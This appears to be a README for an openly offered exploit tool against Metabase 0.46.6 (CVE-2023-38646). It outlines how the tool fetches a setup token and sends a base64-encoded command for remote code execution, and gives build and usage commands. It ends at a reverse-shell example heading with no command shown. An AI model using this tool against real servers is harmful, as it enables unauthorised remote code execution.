CVE-2023-38646

CVE-2023-38646 Metabase 0.46.6 exploit

This tool exploits a vulnerability (CVE-2023-38646) in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string.

Overview

The tool:

• Fetches the setup token from the target URL.
• Base64 encodes the supplied command.
• Constructs the payload with the encoded command.
• Sends the payload to exploit the vulnerability.

Installation

Clone the repository:

git clone https://github.com/SUT0L/CVE-2023-38646.git
cd CVE-2023-38646
go build -o exploit
chmod +x exploit

Usage

./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]

TARGET_URL: The URL of the platform to be scanned and exploited. COMMAND: The command to be executed on the target. PROXY_URL (Optional): The URL of the proxy server (e.g., http://127.0.0.1:8080). If not provided, no proxy will be used.

Example with a sh reverse shell